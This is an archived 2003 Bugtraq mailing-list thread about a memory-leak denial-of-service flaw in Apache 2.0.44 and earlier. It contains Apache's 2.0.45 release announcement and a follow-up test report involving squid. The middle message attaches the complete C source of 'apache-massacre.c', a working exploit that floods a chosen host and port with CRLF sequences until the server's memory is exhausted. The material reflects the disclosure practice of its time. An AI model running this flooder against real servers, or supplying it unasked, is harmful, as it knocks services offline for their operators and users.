97553 2003-04-02 22:03 /145 rader/ Lars Eilebrecht <lars@apache.org>
Importerad: 2003-04-02 22:03 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <4294>
Ärende: [ANNOUNCE] Apache 2.0.45 Released
------------------------------------------------------------
-----BEGIN PGP SIGNED MESSAGE-----
Apache 2.0.45 Released
The Apache Software Foundation and The Apache HTTP Server Project are
pleased to announce the eighth public release of the Apache 2.0
HTTP Server. This Announcement notes the significant changes in
2.0.45 as compared to 2.0.44.
OS2 users; note that Apache 2.0 versions *including* 2.0.45 still
have a Denial of Service vulnerability that was identified and
reported by Robert Howard <rihoward@rawbw.com> that will fixed with
the release of 2.0.46, but is too important to delay announcement
today. The patch
http://cvs.apache.org/viewcvs/apr/file_io/os2/filestat.c.diff?r1=1.34&r2=1.35
must be applied before building on OS2. This patch will already be
applied to all OS2 binaries released for Apache 2.0.45.
[http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0134]
This version of Apache is principally a security and bug fix release.
A summary of the bug fixes is given at the end of this document.
Of particular note is that 2.0.45 addresses two security
vulnerabilities, both affecting all platforms.
Prior Apache 2.0 versions through 2.0.44 had a significant Denial of
Service vulnerability that was identified and reported by David Endler
<DEndler@iDefense.com>, and fixed with this release. The specific
details of this issue will be published by David Endler one week from
this release, on April 7th. No more specific information is disclosed
at this time, but all Apache 2.0 users are encouraged to upgrade now.
[http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0132]
This release eliminated leaks of several file descriptors to child
processes, such as CGI scripts, which could consitute a security
threat on servers that run untrusted CGI scripts. This issue was
identified, reported and addressed by Christian Kratzer
<ck@cksoft.de> and Bjoern A. Zeeb <bz@zabbadoz.net>.
The Apache Software Foundation would like to thank David Endler,
Christian Kratzer, Bjoern Zeeb and Robert Howard for the responsible
reporting of these issues.
Apache 2.0.42 and later releases mark a change in the Apache release
process, and a new level of stability in the 2.0 series. With the
release of Apache 2.0.42, we will make every effort to retain
forward compatibility so that upgrading along the 2.0 series should
be much easier. This compatibility extends from Apache release
2.0.42, so users of that version or later should be able to upgrade
without changing configurations or updating DSO modules. (Users of
earlier releases will need to recompile all modules in order to
upgrade to 2.0.42 or later versions.)
We consider this release to be the best version of Apache available
and encourage users of all prior versions to upgrade.
Apache 2.0.45 source code is available for download from
http://www.apache.org/dist/httpd/
Apache 2.0.45 binary releases will become available for download from
http://www.apache.org/dist/httpd/binaries/
Please see the CHANGES_2.0 file, linked from the above page, for
a full list of changes.
Apache 2.0 offers numerous enhancements, improvements, and
performance boosts over the 1.3 codebase. For an overview of new
features introduced after 1.3 please see
http://httpd.apache.org/docs-2.0/new_features_2_0.html
When upgrading or installing this version of Apache, please keep
in mind the following:
If you intend to use Apache with one of the threaded MPMs, you must
ensure that the modules (and the libraries they depend on) that you
will be using are thread-safe. Please contact the vendors of these
modules to obtain this information.
Apache 2.0.45 Major changes
Security vulnerabilities closed since Apache 2.0.44
*) SECURITY [CAN-2003-0132]: Close a Denial of Service vulnerability
identified by David Endler <DEndler@iDefense.com> on all platforms.
Details embargoed until their announcement on 7 April 2003.
*) SECURITY: Eliminated leaks of several file descriptors to child
processes, such as CGI scripts. This fix depends on the latest
APR library release 0.9.2, which is distributed with the httpd
source tarball for Apache 2.0.45. PR 17206
Bugs fixed and features added since Apache 2.0.44
*) Prevent endless loops of internal redirects in mod_rewrite by
aborting after exceeding a limit of internal redirects. The
limit defaults to 10 and can be changed using the RewriteOptions
directive. PR 17462.
*) Configurable compression level for mod_deflate.
*) Allow SSLMutex to select/use the full range of APR locking
mechanisms available to it (e.g. same choices as AcceptMutex.)
*) mod_cgi, mod_cgid, mod_ext_filter: Log errors when scripts cannot
be started on Unix because of such problems as bad permissions,
bad shebang line, etc.
*) Try to log an error if a piped log program fails and try to
restart a piped log program in more failure situations.
*) Added support for mod_auth_LDAP, with a new AuthLDAPCharsetConfig
directive, to convert extended characters in the user ID to UTF-8,
before authenticating against the LDAP directory.
*) No longer removes the Content-Length from responses via mod_proxy.
*) Enhance mod_isapi's WriteClient() callback to provide better emulation
for isapi extensions that use the first WriteClient() to send status
and headers, such as the foxisapi module.
*) Win32: Avoid busy wait (consuming all the CPU idle cycles) when
all worker threads are busy.
*) Introduced .pdb debugging symbols for Win32 release builds.
*) Fixed piped access logs on Win32.
*) Fix path handling of mod_rewrite, especially on non-unix systems.
There was some confusion between local paths and URL paths.
*) Added an rpm build script.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)
iQCSAwUBPoqTdD6Pt/L4g0HZAQHw7APnbBm7gBnSixiXu/fvw6rIh0y/KP4e2r4Z
pp0lajvj+5vnzJm7ZUoI388a/P8Y2q4/YtW6bhggB7+w1O5eiIG6N91mcy/wjpmI
HUOWpxkY1eUQd0QECm1HP/7RARe7MpphQHZCGTbEUQjUUglv2IP+++uIsvo4YM2K
wtY/+z4=
=356p
-----END PGP SIGNATURE-----
(97553) /Lars Eilebrecht <lars@apache.org>/(Ombruten)
98287 2003-04-10 05:23 /92 rader/ mattmurphy@kc.rr.com <mattmurphy@kc.rr.com>
Importerad: 2003-04-10 05:23 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Externa svar till: mattmurphy@kc.rr.com
Mottagare: Bugtraq (import) <4426>
Ärende: Exploit Code Released for Apache 2.x Memory Leak
------------------------------------------------------------
"iDEFENSE Labs" <labs@idefense.com> writes:
>II. DESCRIPTION
>
>Remote exploitation of a memory leak in the Apache HTTP Server causes the
>daemon to over utilize system resources on an affected system. The problem
>is HTTP Server's handling of large chunks of consecutive linefeed
>characters. The web server allocates an eighty-byte buffer for each
>linefeed character without specifying an upper limit for allocation.
>Consequently, an attacker can remotely exhaust system resources by
>generating many requests containing these characters.
This is partially correct. Rather than "many requests containing
these characters", the more effective strategy is "many instances of
this character (these characters)".
>III. ANALYSIS
>
>While this type of attack is most effective in an intranet setting, remote
>exploitation over the Internet, while bandwidth intensive, is feasible.
>Remote exploitation could consume system resources on a targeted system
>and, in turn, render the Apache HTTP daemon unavailable.
Isn't that the truth? In a few minutes, my Apache used some 390 MB
of memory when tested. The statement that only 80 bytes is lost per
newline understates the issue in my opinion. If we multiply:
2 newlines: 160 bytes
4 newlines: 320 bytes
8 newlines: 640 bytes
16 newlines: 1280 bytes
32 newlines: 2560 bytes
64 newlines: 5120 bytes
128 newlines: 10240 bytes
256 newlines: 20480 bytes
512 newlines: 40960 bytes
1024 newlines: 81920 bytes
Worse, Apache doesn't require any form to the request what-so-ever,
so 1 KB of 0x0A's is just as good as a well-formed request. Let's
continue:
2 KB: 163840 bytes
4 KB: 655360 bytes
8 KB: 1310720 bytes
16 KB: 2621440 bytes
That's nearly 2 MB leaked in response to 16 KB. And, this is just
baseline figures of the actual leak itself, and doesn't take into
account various other factors, including:
* Other use of memory by Apache
* The resources associated with the web session
>iDEFENSE has performed research using proof of concept exploit code to
>demonstrate the impact of this vulnerability.
I'm not seeing any example code, so let's try the attached.
"apache-massacre.c" allows the user to target a host/port of choice.
It uses a single-connection method, and is stopped with a simple
CTRL+C interrupt.
It sends the data (which is patterns of "\r\n") in "chunks". It
sends a pre-specified number of character sequences, and then checks
the interrupt flag for a request to terminate. Deployed on a
high-bandwidth connection (or a low-bandwidth connection with a lot
of time to spare), Apache is disabled within seconds.
The attached code compiles cleanly on Win32, and *should* compile on
any system that is POSIX-compliant, and offers a BSD socket interface.
>A successful exploitation scenario requires between two and
>seven megabytes of traffic exchange.
I hate to say, but I wonder where these figures come from.
Obviously, a machine with a 16 MB RAM and a 512 MB hard drive is
going to run out of resources incredibly faster than a machine with
512 MB RAM and a 100 GB hard drive is. Also, "between two and seven
megabytes of traffic exchange" is very possible with a DDoSnet of
some kind. With 10 connections at 1 mbps each (for a combined speed
of 10 mbps), approximately 1,750,000 bytes (1.25 MB) is exchanged
each second. This same speed is reached by the full upload rates of
many LAN-based providers (schools, for instance). Further, a single
cable modem has a link rate of 10 mbps, held down only by ISP capping.
In the situation of such a network (or, a single uncapped cable
modem), the entire traffic exchange rate is hit within one second.
--------------------------------------------------------------------
mail2web - Check your email from the web at
http://mail2web.com/ .
(98287) /mattmurphy@kc.rr.com <mattmurphy@kc.rr.com>/(Ombruten)
Bilaga (application/octet-stream) i text 98288
98288 2003-04-10 05:23 /172 rader/ mattmurphy@kc.rr.com <mattmurphy@kc.rr.com>
Bilagans filnamn: "apache-massacre.c"
Importerad: 2003-04-10 05:23 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Externa svar till: mattmurphy@kc.rr.com
Mottagare: Bugtraq (import) <4427>
Bilaga (text/plain) till text 98287
Ärende: Bilaga (apache-massacre.c) till: Exploit Code Released for Apache 2.x Memory Leak
------------------------------------------------------------
/* apache-massacre.c
* Test code for Apache 2.x Memory Leak
* By Matthew Murphy
*
* DISCLAIMER: This exploit tool is provided only to test networks for a
* known vulnerability. Do not use this tool on systems you do not control,
* and do not use this tool on networks you do not own without appropriate
* consent from the network owner. You are responsible for any damage your
* use of the tool causes. In no event may the author of this tool be held
* responsible for damages relating to its use.
*
* Apache 2.x (2.0.44 and prior) has a memory leak in its request handling
* that causes it to handle newlines in an akward manner -- it allocates
* 80 bytes for each. This quickly turns into a nightmare for server stats.
* On Windows XP, I was able to cause Apache to consume 390 MB in a matter
* of a few minutes.
*
* The idea is to fire off millions of newlines, depriving Apache of valuable
* memory, causing a huge performance degredation. The worst part about this
* flaw is that leaked memory isn't recovered until the Apache child process
* terminates.
*
* The high consumption drops some when the session ends, but there is still
* a substantial increase in memory use that doesn't end until Apache exits.
* I got memory use up to a peak of about 69,000 KB, and it dropped down to
* about 37,000 KB. The attacking code was the only traffic on the server --
* the idle memory use of the server is about 7,132 KB. Although the leak is
* cut in half when the connection terminates, the leak is still a mighty
* 29,878 KB (21.3 MB). All this occurred in a matter of 15 seconds on my
* 2.51 GHz P4.
*
* As with most Apache exposures, the impacts vary between ports of the server:
*
* Non-Unix (Win32, Netware, OS/2): These ports are most adversely affected
* by this, as Apache's child process doesn't terminate normally unless the
* parent process stops. This means that leaks (and any performance loss) hang
* around until Apache is restarted.
*
* Unix/mpm_prefork: This MPM offers the most protection against successful
* exploitation, as its processes exit at the end of the request.
*
* Unix/other MPMs: These other MPMs utilize multiple Apache processes for
* multiple Apache requests. Depending on the MPM in use and the traffic rates
* of the server, this may be used to the advantage of a potential attacker.
* If multiple different Apache processes are utilized, an attacker can spread
* the substantial leak between processes to dodge resource limits imposed on
* httpd's UID (usually nobody, www, or apache)
*
* Credit: iDEFENSE reported this issue to several security lists on April 8,
* 2003 following the Apache release announcement. Apache fixed the flaw about
* a month after the initial disclosure of this vulnerability. iDEFENSE credits
* the discovery of this vulnerability to an anonymous researcher.
*
* Happy Hunting!
*/
#ifndef _WIN32
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <fcntl.h>
#else
#include <windows.h>
#pragma comment(lib, "wsock32.lib")
#endif
#include <stdlib.h>
#include <stdio.h>
int sig_fired = 0;
#ifndef _WIN32
void sig_handler(int sig) {
#else
BOOL WINAPI sig_handler(DWORD dwCtrlType) {
#endif
sig_fired = 1;
#ifndef _WIN32
return;
#else
return TRUE;
#endif
}
int main(int argc, char *argv[]) {
SOCKET s;
struct sockaddr_in sin;
char buffer[1025];
struct hostent *he;
unsigned short iPort = 80;
int newlines = 100;
char *p;
char *p2;
int i;
#ifdef _WIN32
WSADATA wsa_prov;
#endif
printf("Apache Massacre v1.0\r\n");
printf("Exploit by Matthew Murphy\r\n");
printf("Vulnerability reported by iDEFENSE Labs\r\n\r\n");
#ifdef _WIN32
if (WSAStartup(0x0101, &wsa_prov)) {
perror("WSAStartup");
exit(1);
}
#endif
printf("Please enter the web server's host/IP: ");
fgets(&buffer[0], 1024, stdin);
he = gethostbyname(&buffer[0]);
if (!he) {
perror("gethostbyname");
exit(1);
}
sin.sin_addr.s_addr = *((unsigned long *)he->h_addr);
printf("Please enter the web server's port: ");
fgets(&buffer[0], 1024, stdin);
iPort = (unsigned short)atoi(&buffer[0]);
#ifndef _WIN32
#ifdef _SOLARIS
sigset(SIGINT, &sig_handler);
#else
signal(SIGINT, &sig_handler);
#endif
#else
SetConsoleCtrlHandler(&sig_handler, TRUE);
#endif
printf("How many newlines should be in each request [100]: ");
fgets(&buffer[0], 1024, stdin);
if (!buffer[0] == 0x0D && !buffer[0] == 0x0A) {
newlines = atoi(&buffer[0]);
}
p = malloc(newlines*2);
p2 = p;
for (i = 0; i < newlines; i++) {
*p2 = 0x0D;
p2++;
*p2 = 0x0A;
p2++;
}
newlines += newlines;
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (s < 0) {
perror("socket");
exit(1);
}
sin.sin_family = AF_INET;
sin.sin_port = htons(iPort);
if (connect(s, (const struct sockaddr *)&sin, sizeof(struct sockaddr_in))) {
perror("connect");
exit(1);
}
while (1) {
if (!send(s, (char *)p, newlines, 0) == newlines) {
perror("send");
exit(1);
}
if (sig_fired) {
printf("Terminating on SIGINT");
free(p);
#ifndef _WIN32
close(s);
#else
closesocket(s);
WSACleanup();
#endif
exit(0);
}
}
}
(98288) /mattmurphy@kc.rr.com <mattmurphy@kc.rr.com>/
98448 2003-04-11 02:40 /145 rader/ Serban Murariu <smurariu2@yahoo.com>
Importerad: 2003-04-11 02:40 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <4458>
Ärende: Re: Exploit Code Released for Apache 2.x Memory Leak
------------------------------------------------------------
If the server uses squid as an accelerator, the damage
is not so big:
PID USER PRI NI SIZE RSS SHARE STAT %CPU %MEM
704 squid 25 0 20720 13M 5920 R 98.0 22.3
and also, after a while, squid's figures return to
normal even though the flood continues... perhaps some
protection in squid?
this was a test on squid-2.4.STABLE7-4 and
httpd-2.0.40-11
"mattmurphy@kc.rr.com" <mattmurphy@kc.rr.com> wrote:
"iDEFENSE Labs" writes:
>II. DESCRIPTION
>
>Remote exploitation of a memory leak in the Apache
HTTP Server causes the
>daemon to over utilize system resources on an
affected system. The problem
>is HTTP Server's handling of large chunks of
consecutive linefeed
>characters. The web server allocates an eighty-byte
buffer for each
>linefeed character without specifying an upper limit
for allocation.
>Consequently, an attacker can remotely exhaust system
resources by
>generating many requests containing these characters.
This is partially correct. Rather than "many requests
containing these
characters", the more effective strategy is "many
instances of this
character (these characters)".
>III. ANALYSIS
>
>While this type of attack is most effective in an
intranet setting, remote
>exploitation over the Internet, while bandwidth
intensive, is feasible.
>Remote exploitation could consume system resources on
a targeted system
>and, in turn, render the Apache HTTP daemon
unavailable.
Isn't that the truth? In a few minutes, my Apache used
some 390 MB of
memory when tested. The statement that only 80 bytes
is lost per newline
understates the issue in my opinion. If we multiply:
2 newlines: 160 bytes
4 newlines: 320 bytes
8 newlines: 640 bytes
16 newlines: 1280 bytes
32 newlines: 2560 bytes
64 newlines: 5120 bytes
128 newlines: 10240 bytes
256 newlines: 20480 bytes
512 newlines: 40960 bytes
1024 newlines: 81920 bytes
Worse, Apache doesn't require any form to the request
what-so-ever, so 1 KB
of 0x0A's is just as good as a well-formed request.
Let's continue:
2 KB: 163840 bytes
4 KB: 655360 bytes
8 KB: 1310720 bytes
16 KB: 2621440 bytes
That's nearly 2 MB leaked in response to 16 KB. And,
this is just baseline
figures of the actual leak itself, and doesn't take
into account various
other factors, including:
* Other use of memory by Apache
* The resources associated with the web session
>iDEFENSE has performed research using proof of
concept exploit code to
>demonstrate the impact of this vulnerability.
I'm not seeing any example code, so let's try the
attached.
"apache-massacre.c" allows the user to target a
host/port of choice. It
uses a single-connection method, and is stopped with a
simple CTRL+C
interrupt.
It sends the data (which is patterns of "\r\n") in
"chunks". It sends a
pre-specified number of character sequences, and then
checks the interrupt
flag for a request to terminate. Deployed on a
high-bandwidth connection
(or a low-bandwidth connection with a lot of time to
spare), Apache is
disabled within seconds.
The attached code compiles cleanly on Win32, and
*should* compile on any
system that is POSIX-compliant, and offers a BSD
socket interface.
>A successful exploitation scenario requires between
two and
>seven megabytes of traffic exchange.
I hate to say, but I wonder where these figures come
from. Obviously, a
machine with a 16 MB RAM and a 512 MB hard drive is
going to run out of
resources incredibly faster than a machine with 512 MB
RAM and a 100 GB
hard drive is. Also, "between two and seven megabytes
of traffic exchange"
is very possible with a DDoSnet of some kind. With 10
connections at 1
mbps each (for a combined speed of 10 mbps),
approximately 1,750,000 bytes
(1.25 MB) is exchanged each second. This same speed is
reached by the full
upload rates of many LAN-based providers (schools, for
instance). Further,
a single cable modem has a link rate of 10 mbps, held
down only by ISP
capping.
In the situation of such a network (or, a single
uncapped cable modem), the
entire traffic exchange rate is hit within one second.
__________________________________________________
Do you Yahoo!?
Yahoo! Tax Center - File online, calculators, forms, and more
http://tax.yahoo.com
(98448) /Serban Murariu <smurariu2@yahoo.com>/------